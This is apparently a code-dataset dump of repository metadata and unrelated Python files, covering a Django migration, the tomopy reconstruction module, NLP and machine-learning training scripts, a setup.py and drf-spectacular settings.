'banana', 955: 'jackfruit, jak, jack', 956: 'custard apple', 957: 'pomegranate', 958: 'hay', 959: 'carbonara', 960: 'chocolate sauce, chocolate syrup', 961: 'dough', 962: 'meat loaf, meatloaf', 963: 'pizza, pizza pie', 964: 'potpie', 965: 'burrito', 966: 'red wine', 967: 'espresso', 968: 'cup', 969: 'eggnog', 970: 'alp', 971: 'bubble', 972: 'cliff, drop, drop-off', 973: 'coral reef', 974: 'geyser', 975: 'lakeside, lakeshore', 976: 'promontory, headland, head, foreland', 977: 'sandbar, sand bar', 978: 'seashore, coast, seacoast, sea-coast', 979: 'valley, vale', 980: 'volcano', 981: 'ballplayer, baseball player', 982: 'groom, bridegroom', 983: 'scuba diver', 984: 'rapeseed', 985: 'daisy', 986: "yellow lady's slipper, yellow lady-slipper, Cypripedium calceolus, Cypripedium parviflorum", 987: 'corn', 988: 'acorn', 989: 'hip, rose hip, rosehip', 990: 'buckeye, horse chestnut, conker', 991: 'coral fungus', 992: 'agaric', 993: 'gyromitra', 994: 'stinkhorn, carrion fungus', 995: 'earthstar', 996: 'hen-of-the-woods, hen of the woods, Polyporus frondosus, Grifola frondosa', 997: 'bolete', 998: 'ear, spike, capitulum', 999: 'toilet tissue, toilet paper, bathroom tissue'}

[ "46166076+Tunoc@users.noreply.github.com" ]

46166076+Tunoc@users.noreply.github.com

b1da81e45980e885470ba6b0e3d6abd5ee4b893f

950eb2c41a9835c1fe0daffd8856039b2535072f

/index/migrations/0001_initial.py

9b198c2122bf3b192b5f306be1632ded398ccd96

[]

no_license

shazolKh/bloodbank

21f701e77c812b007eac6dea3e3520cf5a268f54

905479c57c68a7e872fac05ce0f5514ec01b02d6

refs/heads/master

2023-06-04T14:22:36.849281

2021-06-19T08:19:20

331,898,006

0

null

UTF-8

Python

false

1,044

py

# Generated by Django 3.1.1 on 2021-02-22 17:22 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Post', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('blood_group', models.CharField(max_length=5)), ('location', models.CharField(max_length=100)), ('hospital', models.CharField(max_length=100)), ('contact', models.CharField(max_length=30)), ('managed', models.CharField(max_length=5)), ('details', models.TextField()), ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), ]

[ "shazol.kh@gmail.com" ]

shazol.kh@gmail.com

80c4f2efe33abda42f37afbea34d12a29ba0f188

b7a13f1c9e02bacb621febcf63f4245b24e2f6df

/tomopy/recon/algorithm.py

c48ac3f6a0e224df688857cc577e951a91f56184

[]

no_license

AaronBM/tomopy

551b94ebf69f546028fb49aaa5d70068cf608c24

bca22f8b0b2c9002d3e4fdeeeb99631d40bd085d

refs/heads/master

2021-01-21T03:02:51.190014

2015-05-19T17:22:58

null

0

null

UTF-8

Python

false

10,893

py

#!/usr/bin/env python # -*- coding: utf-8 -*- # ######################################################################### # Copyright (c) 2015, UChicago Argonne, LLC. All rights reserved. # # # # Copyright 2015. UChicago Argonne, LLC. This software was produced # # under U.S. Government contract DE-AC02-06CH11357 for Argonne National # # Laboratory (ANL), which is operated by UChicago Argonne, LLC for the # # U.S. Department of Energy. The U.S. Government has rights to use, # # reproduce, and distribute this software. NEITHER THE GOVERNMENT NOR # # UChicago Argonne, LLC MAKES ANY WARRANTY, EXPRESS OR IMPLIED, OR # # ASSUMES ANY LIABILITY FOR THE USE OF THIS SOFTWARE. If software is # # modified to produce derivative works, such modified software should # # be clearly marked, so as not to confuse it with the version available # # from ANL. # # # # Additionally, redistribution and use in source and binary forms, with # # or without modification, are permitted provided that the following # # conditions are met: # # # # * Redistributions of source code must retain the above copyright # # notice, this list of conditions and the following disclaimer. # # # # * Redistributions in binary form must reproduce the above copyright # # notice, this list of conditions and the following disclaimer in # # the documentation and/or other materials provided with the # # distribution. # # # # * Neither the name of UChicago Argonne, LLC, Argonne National # # Laboratory, ANL, the U.S. Government, nor the names of its # # contributors may be used to endorse or promote products derived # # from this software without specific prior written permission. # # # # THIS SOFTWARE IS PROVIDED BY UChicago Argonne, LLC AND CONTRIBUTORS # # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL UChicago # # Argonne, LLC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, # # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN # # ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # # POSSIBILITY OF SUCH DAMAGE. # # ######################################################################### """ Module for reconstruction algorithms. """ from __future__ import absolute_import, division, print_function import numpy as np import tomopy.util.mproc as mproc import tomopy.util.extern as extern import tomopy.util.dtype as dtype from tomopy.sim.project import angles, get_center import multiprocessing import logging logger = logging.getLogger(__name__) __author__ = "Doga Gursoy" __copyright__ = "Copyright (c) 2015, UChicago Argonne, LLC." __docformat__ = 'restructuredtext en' __all__ = ['recon'] def recon( tomo, theta, center=None, emission=True, algorithm=None, init_recon=None, ncore=None, nchunk=None, **kwargs): """ Reconstruct object from projection data. Parameters ---------- tomo : ndarray 3D tomographic data. theta : array Projection angles in radian. center: array, optional Location of rotation axis. emission : bool, optional Determines whether data is emission or transmission type. algorithm : {str, function} One of the following string values. 'art' Algebraic reconstruction technique :cite:`Kak:98`. 'bart' Block algebraic reconstruction technique. 'fbp' Filtered back-projection algorithm. 'gridrec' Fourier grid reconstruction algorithm :cite:`Dowd:99`, :cite:`Rivers:06`. 'mlem' Maximum-likelihood expectation maximization algorithm :cite:`Dempster:77`. 'osem' Ordered-subset expectation maximization algorithm :cite:`Hudson:94`. 'ospml_hybrid' Ordered-subset penalized maximum likelihood algorithm with weighted linear and quadratic penalties. 'ospml_quad' Ordered-subset penalized maximum likelihood algorithm with quadratic penalties. 'pml_hybrid' Penalized maximum likelihood algorithm with weighted linear and quadratic penalties :cite:`Chang:04`. 'pml_quad' Penalized maximum likelihood algorithm with quadratic penalty. 'sirt' Simultaneous algebraic reconstruction technique. num_gridx, num_gridy : int, optional Number of pixels along x- and y-axes in the reconstruction grid. num_iter : int, optional Number of algorithm iterations performed. num_block : int, optional Number of data blocks for intermediate updating the object. ind_block : array of int, optional Order of projections to be used for updating. num_iter : int, optional Number of algorithm iterations performed. reg_par : float, optional Regularization parameter for smoothing. init_recon : ndarray, optional Initial guess of the reconstruction. ncore : int, optional Number of cores that will be assigned to jobs. nchunk : int, optional Chunk size for each core. Returns ------- ndarray Reconstructed 3D object. Warning ------- Filtering is not implemented for fbp. Example ------- >>> import tomopy >>> obj = tomopy.shepp3d() # Generate an object. >>> ang = tomopy.angles(180) # Generate uniformly spaced tilt angles. >>> sim = tomopy.project(obj, ang) # Calculate projections. >>> rec = tomopy.recon(sim, ang, algorithm='art') # Reconstruct object. >>> >>> # Show 64th slice of the reconstructed object. >>> import pylab >>> pylab.imshow(rec[64], cmap='gray') >>> pylab.show() """ allowed_kwargs = { 'art': ['num_gridx', 'num_gridy', 'num_iter'], 'bart': ['num_gridx', 'num_gridy', 'num_iter', 'num_block', 'ind_block'], 'fbp': ['num_gridx', 'num_gridy', 'filter_name'], 'gridrec': ['num_gridx', 'num_gridy', 'filter_name'], 'mlem': ['num_gridx', 'num_gridy', 'num_iter'], 'osem': ['num_gridx', 'num_gridy', 'num_iter', 'num_block', 'ind_block'], 'ospml_hybrid': ['num_gridx', 'num_gridy', 'num_iter', 'reg_par', 'num_block', 'ind_block'], 'ospml_quad': ['num_gridx', 'num_gridy', 'num_iter', 'reg_par', 'num_block', 'ind_block'], 'pml_hybrid': ['num_gridx', 'num_gridy', 'num_iter', 'reg_par'], 'pml_quad': ['num_gridx', 'num_gridy', 'num_iter', 'reg_par'], 'sirt': ['num_gridx', 'num_gridy', 'num_iter'], } # Generate kwargs for the algorithm. kwargs_defaults = _get_algorithm_kwargs(tomo.shape) if isinstance(algorithm, str): # Make sure have allowed kwargs appropriate for algorithm. for key in kwargs: if key not in allowed_kwargs[algorithm]: raise ValueError('%s keyword not in allowed keywords %s' % (key, allowed_kwargs[algorithm])) # Set kwarg defaults. for kw in allowed_kwargs[algorithm]: kwargs.setdefault(kw, kwargs_defaults[kw]) elif algorithm is None: raise ValueError('Keyword "algorithm" must be one of %s.' % (list(allowed_kwargs.keys()),)) # Generate args for the algorithm. args = _get_algorithm_args(tomo.shape, theta, center) # Initialize tomography data and initial reconstruction. tomo = _init_tomo(tomo, emission) recon = _init_recon( (tomo.shape[1], kwargs['num_gridx'], kwargs['num_gridy']), init_recon) return _dist_recon( tomo, recon, _get_c_func(algorithm), args, kwargs, ncore, nchunk) def _init_tomo(tomo, emission): tomo = dtype.as_float32(tomo) if not emission: tomo = -np.log(tomo) return tomo def _init_recon(shape, init_recon, val=1e-6): if init_recon is None: recon = val * np.ones(shape, dtype='float32') else: recon = dtype.as_float32(recon) return recon def _get_c_func(algorithm): if algorithm == 'art': func = extern.c_art elif algorithm == 'bart': func = extern.c_bart elif algorithm == 'fbp': func = extern.c_fbp elif algorithm == 'gridrec': func = extern.c_gridrec elif algorithm == 'mlem': func = extern.c_mlem elif algorithm == 'osem': func = extern.c_osem elif algorithm == 'ospml_hybrid': func = extern.c_ospml_hybrid elif algorithm == 'ospml_quad': func = extern.c_ospml_quad elif algorithm == 'pml_hybrid': func = extern.c_pml_hybrid elif algorithm == 'pml_quad': func = extern.c_pml_quad elif algorithm == 'sirt': func = extern.c_sirt return func def _dist_recon(tomo, recon, algorithm, args, kwargs, ncore, nchunk): mproc.init_tomo(tomo) return mproc.distribute_jobs( recon, func=algorithm, args=args, kwargs=kwargs, axis=0, ncore=ncore, nchunk=nchunk) def _get_algorithm_args(shape, theta, center): dx, dy, dz = shape theta = dtype.as_float32(theta) center = get_center(shape, center) return (dx, dy, dz, center, theta) def _get_algorithm_kwargs(shape): dx, dy, dz = shape return { 'num_gridx': dz, 'num_gridy': dz, 'filter_name': np.array('shepp', dtype=(str, 16)), 'num_iter': dtype.as_int32(1), 'reg_par': np.ones(10, dtype='float32'), 'num_block': dtype.as_int32(1), 'ind_block': np.arange(0, dx, dtype='float32'), }

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sparsedata@gmail.com

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bradleycolquitt/umi

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#! /usr/bin/env python import sys import gzip import time def main(argv): file = gzip.open(argv[1]) total_seq = 0 lineno = 0 start = time.time() for l in file: if lineno % 4 == 1: total_seq += len(l) lineno += 1 print "Time elapsed: " + str(time.time() - start) print "Total sequence: " + str(total_seq) if __name__ == "__main__": main(sys.argv)

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/lab3/ml_chunker_v2.py

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Ga22be/EDAN20

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""" Machine learning chunker for CoNLL 2000 """ __author__ = "Pierre Nugues" import time import conll_reader from sklearn.feature_extraction import DictVectorizer from sklearn import svm from sklearn import linear_model from sklearn import metrics from sklearn import tree from sklearn.naive_bayes import GaussianNB from sklearn.model_selection import GridSearchCV def extract_features(sentences, w_size, feature_names): """ Builds X matrix and y vector X is a list of dictionaries and y is a list :param sentences: :param w_size: :return: """ X_l = [] y_l = [] for sentence in sentences: X, y = extract_features_sent(sentence, w_size, feature_names) X_l.extend(X) y_l.extend(y) return X_l, y_l def extract_features_sent(sentence, w_size, feature_names): """ Extract the features from one sentence returns X and y, where X is a list of dictionaries and y is a list of symbols :param sentence: string containing the CoNLL structure of a sentence :param w_size: :return: """ # We pad the sentence to extract the context window more easily start = "BOS BOS BOS\n" end = "\nEOS EOS EOS" start *= w_size end *= w_size sentence = start + sentence sentence += end # Each sentence is a list of rows sentence = sentence.splitlines() padded_sentence = list() for line in sentence: line = line.split() padded_sentence.append(line) # print(padded_sentence) # We extract the features and the classes # X contains is a list of features, where each feature vector is a dictionary # y is the list of classes X = list() y = list() for i in range(len(padded_sentence) - 2 * w_size): # x is a row of X x = list() # The words in lower case for j in range(2 * w_size + 1): x.append(padded_sentence[i + j][0].lower()) # The POS for j in range(2 * w_size + 1): x.append(padded_sentence[i + j][1]) # The chunks (Up to the word) ### I overwrite these in predict() for j in range(w_size): x.append(padded_sentence[i + j][2]) # We represent the feature vector as a dictionary X.append(dict(zip(feature_names, x))) # The classes are stored in a list y.append(padded_sentence[i + w_size][2]) return X, y def predict(test_sentences, feature_names, f_out): for test_sentence in test_sentences: X_test_dict, y_test = extract_features_sent(test_sentence, w_size, feature_names) ### We need to process word by word as well y_test_predicted = [] c1 = "BOS" c2 = "BOS" ### Iterate over the words in the sentence for w in X_test_dict: ### Overwrite the golden chunks from before w["chunk_n1"] = c1 w["chunk_n2"] = c2 # Vectorize the test sentence and one hot encoding X_test = vec.transform(w) # Predicts the chunks and returns numbers ### Predict the chunk for this iteration c0 = classifier.predict(X_test) ### Append to the sentence result y_test_predicted.append(c0[0]) ### Save the predicted chunk for future use c2 = c1 c1 = c0[0] # Appends the predicted chunks as a last column and saves the rows rows = test_sentence.splitlines() rows = [rows[i] + ' ' + y_test_predicted[i] for i in range(len(rows))] for row in rows: f_out.write(row + '\n') f_out.write('\n') f_out.close() if __name__ == '__main__': start_time = time.perf_counter() train_corpus = './train.txt' test_corpus = './test.txt' w_size = 2 # The size of the context window to the left and right of the word feature_names = ['word_n2', 'word_n1', 'word', 'word_p1', 'word_p2', 'pos_n2', 'pos_n1', 'pos', 'pos_p1', 'pos_p2', 'chunk_n2', 'chunk_n1'] train_sentences = conll_reader.read_sentences(train_corpus) print("Extracting the features...") X_dict, y = extract_features(train_sentences, w_size, feature_names) print("Encoding the features...") # Vectorize the feature matrix and carry out a one-hot encoding vec = DictVectorizer(sparse=True) X = vec.fit_transform(X_dict) # The statement below will swallow a considerable memory # X = vec.fit_transform(X_dict).toarray() # print(vec.get_feature_names()) training_start_time = time.perf_counter() print("Training the model...") classifier = linear_model.LogisticRegression(penalty='l2', dual=True, solver='liblinear', multi_class='auto') # classifier = linear_model.LogisticRegression(penalty='l2', dual=False, solver='lbfgs', multi_class='auto') # classifier = tree.DecisionTreeClassifier() # classifier = linear_model.Perceptron() model = classifier.fit(X, y) print(model) test_start_time = time.perf_counter() # We apply the model to the test set test_sentences = list(conll_reader.read_sentences(test_corpus)) # Here we carry out a chunk tag prediction and we report the per tag error # This is done for the whole corpus without regard for the sentence structure print("Predicting the chunks in the test set...") X_test_dict, y_test = extract_features(test_sentences, w_size, feature_names) # Vectorize the test set and one-hot encoding X_test = vec.transform(X_test_dict) # Possible to add: .toarray() y_test_predicted = classifier.predict(X_test) print("Classification report for classifier %s:\n%s\n" % (classifier, metrics.classification_report(y_test, y_test_predicted))) # Here we tag the test set and we save it. # This prediction is redundant with the piece of code above, # but we need to predict one sentence at a time to have the same # corpus structure print("Predicting the test set...") f_out = open('out_ml_v2', 'w') predict(test_sentences, feature_names, f_out) end_time = time.perf_counter() print("Training time:", (test_start_time - training_start_time) / 60) print("Test time:", (end_time - test_start_time) / 60)

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from sklearn.datasets import fetch_20newsgroups from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfTransformer from sklearn.naive_bayes import MultinomialNB from sklearn import metrics from sklearn.ensemble import GradientBoostingClassifier import sklearn.svm as svm from sklearn.svm import SVC from sklearn.externals import joblib import lda import numpy as np class data_20news(object): def __init__(self): self.train_labeled = [] self.train_labeled_target = [] self.train_unlabeled = [] self.train_unlabeled_target = [] self.train = [] self.test = [] self.test_target = [] self.target_names = [] def get_train_data(size): twenty_train = fetch_20newsgroups(subset='train', categories=None) twenty_test = fetch_20newsgroups(subset='test', categories=None) balance = [size for i in range(0, 20)] i = 0 data = data_20news() twenty_labeled_data = [] twenty_unlabeled_data = [] twenty_train_labeled = [] twenty_train_labeled_un = [] for d in twenty_train.data: if balance[twenty_train.target[i]] != 0: twenty_labeled_data.append(d) twenty_train_labeled.append(twenty_train.target[i]) balance[twenty_train.target[i]] -= 1 else: twenty_unlabeled_data.append(d) twenty_train_labeled_un.append(twenty_train.target[i]) i += 1 data.train_labeled = twenty_labeled_data data.train_labeled_target = twenty_train_labeled data.train_unlabeled = twenty_unlabeled_data data.train_unlabeled_target = twenty_train_labeled_un data.train = twenty_train.data data.test = twenty_test.data data.test_target = twenty_test.target data.target_names = twenty_test.target_names count = [0 for i in range(0, 20)] for i in range(0, len(data.train_labeled)): count[data.train_labeled_target[i]] += 1 print(count) return data def lda_self_training(data, n_iter, n_move, threshold): # count_transformer = get_count_transformer(data.train) # tfidf_transformer = get_tfidf_transformer(count_transformer) count_vect = CountVectorizer(stop_words='english') # count_vect.fit(data.train) count_vect.fit(data.train) # count_transformer = count_vect.transform(data.train) # tfidf_transformer = TfidfTransformer().fit(count_transformer) lda_model = joblib.load('lda100-1000.pkl') X_train_labeled_counts = count_vect.transform(data.train_labeled) X_train_lda = lda_model.transform(X_train_labeled_counts) clf = None for i in range(0, n_iter): clf = svm.SVC(kernel='linear', probability=True).fit(X_train_lda, data.train_labeled_target) unlabeled_data_lda = lda_model.transform(count_vect.transform(data.train_unlabeled)) predicted = clf.predict(unlabeled_data_lda) predicted_proba = clf.predict_proba(unlabeled_data_lda) score_dic = {} for j in range(0, len(predicted_proba)): sorted_proba = sorted(predicted_proba[j], reverse=True) score_dic[j] = sorted_proba[0] - sorted_proba[1] score_dic = sorted(score_dic.items(), key=lambda d: d[1], reverse=True) j = 0 balance = [n_move for k in range(0, 20)] keys = [] for key, score in score_dic: # print(predicted[key], score) if j == n_move*20: break if balance[predicted[key]] == 0: continue balance[predicted[key]] -= 1 if score < threshold: j += 1 continue # print(predicted[key], data.train_unlabeled_target[key]) data.train_labeled.append(data.train_unlabeled[key]) # twenty_train_labeled = np.append(twenty_train_labeled, predicted[key]) data.train_labeled_target.append(predicted[key]) keys.append(key) j += 1 keys = sorted(keys, reverse=True) for key in keys: # print(key, len(twenty_unlabeled_data)) del data.train_unlabeled[key] del data.train_unlabeled_target[key] X_train_labeled_counts = count_vect.transform(data.train_labeled) X_train_lda = lda_model.transform(X_train_labeled_counts) # print(X_train_tf.shape) # print(len(twenty_train_labeled)) if i % 10 == 0: clf = svm.SVC(kernel='linear', probability=True).fit(X_train_lda, data.train_labeled_target) predicted = clf.predict(lda_model.transform(count_vect.transform(data.test))) print(metrics.classification_report(data.test_target, predicted, target_names=data.target_names)) clf = svm.SVC(kernel='linear', probability=True).fit(X_train_lda, data.train_labeled_target) predicted = clf.predict(lda_model.transform(count_vect.transform(data.test))) predicted_proba = clf.predict_proba(lda_model.transform(count_vect.transform(data.test))) print(metrics.classification_report(data.test_target, predicted, target_names=data.target_names)) joblib.dump(clf, 'lda-' + str(n_iter) + '-' + str(n_move) + '-' + str(threshold) + '.pkl') return predicted_proba def tfidf_self_training(data, n_iter, n_move, threshold): # count_transformer = get_count_transformer(data.train) # tfidf_transformer = get_tfidf_transformer(count_transformer) count_vect = CountVectorizer(stop_words='english') # count_vect.fit(data.train) count_vect.fit(data.train) count_transformer = count_vect.transform(data.train) tfidf_transformer = TfidfTransformer().fit(count_transformer) X_train_labeled_counts = count_vect.transform(data.train_labeled) X_train_tfidf = tfidf_transformer.transform(X_train_labeled_counts) clf = None for i in range(0, n_iter): clf = svm.SVC(kernel='linear', probability=True).fit(X_train_tfidf, data.train_labeled_target) unlabeled_data_tfidf = tfidf_transformer.transform(count_vect.transform(data.train_unlabeled)) predicted = clf.predict(unlabeled_data_tfidf) predicted_proba = clf.predict_proba(unlabeled_data_tfidf) score_dic = {} for j in range(0, len(predicted_proba)): sorted_proba = sorted(predicted_proba[j], reverse=True) score_dic[j] = sorted_proba[0] - sorted_proba[1] score_dic = sorted(score_dic.items(), key=lambda d: d[1], reverse=True) j = 0 balance = [n_move for k in range(0, 20)] keys = [] for key, score in score_dic: # print(predicted[key], score) if j == n_move*20: break if balance[predicted[key]] == 0: continue balance[predicted[key]] -= 1 if score < threshold: j += 1 continue # print(predicted[key], data.train_unlabeled_target[key]) data.train_labeled.append(data.train_unlabeled[key]) # twenty_train_labeled = np.append(twenty_train_labeled, predicted[key]) data.train_labeled_target.append(predicted[key]) keys.append(key) j += 1 keys = sorted(keys, reverse=True) for key in keys: # print(key, len(twenty_unlabeled_data)) del data.train_unlabeled[key] del data.train_unlabeled_target[key] X_train_labeled_counts = count_vect.transform(data.train_labeled) X_train_tfidf = tfidf_transformer.transform(X_train_labeled_counts) # print(X_train_tf.shape) # print(len(twenty_train_labeled)) if i % 10 == 0: clf = svm.SVC(kernel='linear', probability=True).fit(X_train_tfidf, data.train_labeled_target) predicted = clf.predict(tfidf_transformer.transform(count_vect.transform(data.test))) print(metrics.classification_report(data.test_target, predicted, target_names=data.target_names)) clf = svm.SVC(kernel='linear', probability=True).fit(X_train_tfidf, data.train_labeled_target) predicted = clf.predict(tfidf_transformer.transform(count_vect.transform(data.test))) predicted_proba = clf.predict_proba(tfidf_transformer.transform(count_vect.transform(data.test))) print(metrics.classification_report(data.test_target, predicted, target_names=data.target_names)) joblib.dump(clf, 'tfidf-' + str(n_iter) + '-' + str(n_move) + '-' + str(threshold) + '.pkl') return predicted_proba def base_semi(predicted_proba1, predicted_proba2, data): predicted = [] for j in range(0, len(predicted_proba1)): predicted_proba = [] for p in range(0, len(predicted_proba1[j])): predicted_proba.append(predicted_proba1[j][p] + predicted_proba2[j][p]) # if j == 5: # print(predicted_proba) predicted.append(predicted_proba.index(max(predicted_proba))) # print(predicted) print("base-semi:") print(metrics.classification_report(data.test_target, predicted, target_names=data.target_names)) if __name__ == '__main__': data = get_train_data(10) predicted_proba1 = lda_self_training(data, 201, 1, 0.01) data = get_train_data(10) predicted_proba2 = tfidf_self_training(data, 201, 1, 0.01) base_semi(predicted_proba1, predicted_proba2, data)

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theY4Kman/neoalchemy

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import os from setuptools import setup, find_packages current_directory = os.path.dirname(__file__) with open(os.path.join(current_directory, 'requirements.txt')) as fp: install_requires = fp.readlines() with open(os.path.join(current_directory, 'test-requirements.txt')) as fp: tests_require = fp.readlines() setup( name='neoalchemy', version='0.0.1', description='A SQLAlchemy-like object graph mapper for neo4j', long_description=open('README.rst').read(), author='Zach Kanzler', author_email='they4kman@gmail.com', zip_safe=True, url='http://github.com/they4kman/neoalchemy', license='MIT', packages=find_packages(), keywords='graph neo4j py2neo ORM', tests_require=tests_require, test_suite='nose.collector', install_requires=install_requires, classifiers=[ 'Development Status :: 2 - Pre-Alpha', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Topic :: Software Development :: Libraries :: Python Modules', 'Topic :: Database', ])

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from __future__ import absolute_import from __future__ import print_function from __future__ import division import tensorflow as tf import numpy as np import sys import time import cyclegan_model as cyclegan sys.path.append('../') import image_utils as iu from datasets import Pix2PixDataSet as DataSet results = { 'output': './gen_img/', 'checkpoint': './model/checkpoint', 'model': './model/CycleGAN-model.ckpt' } train_step = { 'epochs': 201, 'batch_size': 8, 'logging_step': 100, } def main(): start_time = time.time() # Clocking start # GPU configure config = tf.ConfigProto() config.gpu_options.allow_growth = True with tf.Session(config=config) as s: image_size = crop_size = 128 # CycleGAN Model model = cyclegan.CycleGAN(s, input_height=image_size, input_width=image_size, input_channel=3, batch_size=train_step['batch_size']) # Celeb-A DataSet images data_set_name = 'vangogh2photo' ds = DataSet(input_height=image_size, input_width=image_size, input_channel=3, crop_size=crop_size, batch_size=train_step['batch_size'], name=data_set_name) img_a = ds.images_a img_b = ds.images_b print("[*] image A shape : ", img_a.shape) print("[*] image B shape : ", img_b.shape) n_sample = model.sample_num sample_image_height = model.sample_size sample_image_width = model.sample_size sample_dir_a = results['output'] + 'valid_a.png' sample_dir_b = results['output'] + 'valid_b.png' sample_a, sample_b = img_a[:n_sample], img_b[:n_sample] sample_a = np.reshape(sample_a, [-1] + model.image_shape[1:]) sample_b = np.reshape(sample_b, [-1] + model.image_shape[1:]) # Generated image save iu.save_images(sample_a, [sample_image_height, sample_image_width], sample_dir_a) iu.save_images(sample_b, [sample_image_height, sample_image_width], sample_dir_b) print("[+] pre-processing elapsed time : {:.8f}s".format(time.time() - start_time)) # Initializing s.run(tf.global_variables_initializer()) global_step = 0 for epoch in range(train_step['epochs']): # learning rate decay lr_decay = 1. if epoch >= 100 and epoch % 10 == 0: lr_decay = (train_step['epochs'] - epoch) / (train_step['epochs'] / 2.) # re-implement DataIterator for multi-input pointer = 0 num_images = min(ds.num_images_a, ds.num_images_b) for i in range(num_images // train_step['batch_size']): start = pointer pointer += train_step['batch_size'] if pointer > num_images: # if ended 1 epoch # Shuffle training DataSet perm_a, perm_b = np.arange(ds.num_images_a), np.arange(ds.num_images_b) np.random.shuffle(perm_a) np.random.shuffle(perm_b) img_a, img_b = img_a[perm_a], img_a[perm_b] start = 0 pointer = train_step['batch_size'] end = pointer batch_a = np.reshape(img_a[start:end], model.image_shape) batch_b = np.reshape(img_a[start:end], model.image_shape) for _ in range(model.n_train_critic): s.run(model.d_op, feed_dict={ model.a: batch_a, model.b: batch_b, model.lr_decay: lr_decay, }) w, gp, g_loss, cycle_loss, _ = s.run([model.w, model.gp, model.g_loss, model.cycle_loss, model.g_op], feed_dict={ model.a: batch_a, model.b: batch_b, model.lr_decay: lr_decay, }) if global_step % train_step['logging_step'] == 0: # Summary summary = s.run(model.merged, feed_dict={ model.a: batch_a, model.b: batch_b, model.lr_decay: lr_decay, }) # Print loss print("[+] Global Step %08d =>" % global_step, " G loss : {:.8f}".format(g_loss), " Cycle loss : {:.8f}".format(cycle_loss), " w : {:.8f}".format(w), " gp : {:.8f}".format(gp)) # Summary saver model.writer.add_summary(summary, global_step=global_step) # Training G model with sample image and noise samples_a2b = s.run(model.g_a2b, feed_dict={ model.a: sample_a, model.b: sample_b, model.lr_decay: lr_decay, }) samples_b2a = s.run(model.g_b2a, feed_dict={ model.a: sample_a, model.b: sample_b, model.lr_decay: lr_decay, }) # Export image generated by model G sample_image_height = model.sample_size sample_image_width = model.sample_size sample_dir_a2b = results['output'] + 'train_a2b_{0}.png'.format(global_step) sample_dir_b2a = results['output'] + 'train_b2a_{0}.png'.format(global_step) # Generated image save iu.save_images(samples_a2b, [sample_image_height, sample_image_width], sample_dir_a2b) iu.save_images(samples_b2a, [sample_image_height, sample_image_width], sample_dir_b2a) # Model save model.saver.save(s, results['model'], global_step=global_step) global_step += 1 end_time = time.time() - start_time # Clocking end # Elapsed time print("[+] Elapsed time {:.8f}s".format(end_time)) # Close tf.Session s.close() if __name__ == '__main__': main()

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from typing import Any, Dict from django.conf import settings from rest_framework.settings import APISettings SPECTACULAR_DEFAULTS: Dict[str, Any] = { # path prefix is used for tagging the discovered operations. # use '/api/v[0-9]' for tagging apis like '/api/v1/albums' with ['albums'] 'SCHEMA_PATH_PREFIX': r'', 'DEFAULT_GENERATOR_CLASS': 'drf_spectacular.generators.SchemaGenerator', # Schema generation parameters to influence how components are constructed. # Some schema features might not translate well to your target. # Demultiplexing/modifying components might help alleviate those issues. # # Create separate components for PATCH endpoints (without required list) 'COMPONENT_SPLIT_PATCH': True, # Split components into request and response parts where appropriate 'COMPONENT_SPLIT_REQUEST': False, # Aid client generator targets that have trouble with read-only properties. 'COMPONENT_NO_READ_ONLY_REQUIRED': False, # Configuration for serving the schema with SpectacularAPIView 'SERVE_URLCONF': None, # complete public schema or a subset based on the requesting user 'SERVE_PUBLIC': True, # is the 'SERVE_INCLUDE_SCHEMA': True, 'SERVE_PERMISSIONS': ['rest_framework.permissions.AllowAny'], # Dictionary of configurations to pass to the SwaggerUI({ ... }) # https://swagger.io/docs/open-source-tools/swagger-ui/usage/configuration/ 'SWAGGER_UI_SETTINGS': { 'deepLinking': True, }, 'SWAGGER_UI_DIST': '//unpkg.com/swagger-ui-dist@3.35.1', 'SWAGGER_UI_FAVICON_HREF': '//unpkg.com/swagger-ui-dist@3.35.1/favicon-32x32.png', # Append OpenAPI objects to path and components in addition to the generated objects 'APPEND_PATHS': {}, 'APPEND_COMPONENTS': {}, # DISCOURAGED - please don't use this anymore as it has tricky implications that # are hard to get right. For authentication, OpenApiAuthenticationExtension are # strongly preferred because they are more robust and easy to write. # However if used, the list of methods is appended to every endpoint in the schema! 'SECURITY': [], # Postprocessing functions that run at the end of schema generation. # must satisfy interface result = hook(generator, request, public, result) 'POSTPROCESSING_HOOKS': [ 'drf_spectacular.hooks.postprocess_schema_enums' ], # Preprocessing functions that run before schema generation. # must satisfy interface result = hook(endpoints=result) where result # is a list of Tuples (path, path_regex, method, callback). # Example: 'drf_spectacular.hooks.preprocess_exclude_path_format' 'PREPROCESSING_HOOKS': [], # enum name overrides. dict with keys "YourEnum" and their choice values "field.choices" 'ENUM_NAME_OVERRIDES': {}, # function that returns a list of all classes that should be excluded from doc string extraction 'GET_LIB_DOC_EXCLUDES': 'drf_spectacular.plumbing.get_lib_doc_excludes', # Function that returns a mocked request for view processing. For CLI usage # original_request will be None. # interface: request = build_mock_request(method, path, view, original_request, **kwargs) 'GET_MOCK_REQUEST': 'drf_spectacular.plumbing.build_mock_request', # Camelize names like operationId and path parameter names 'CAMELIZE_NAMES': False, # General schema metadata. Refer to spec for valid inputs # https://github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.3.md#openapi-object 'TITLE': '', 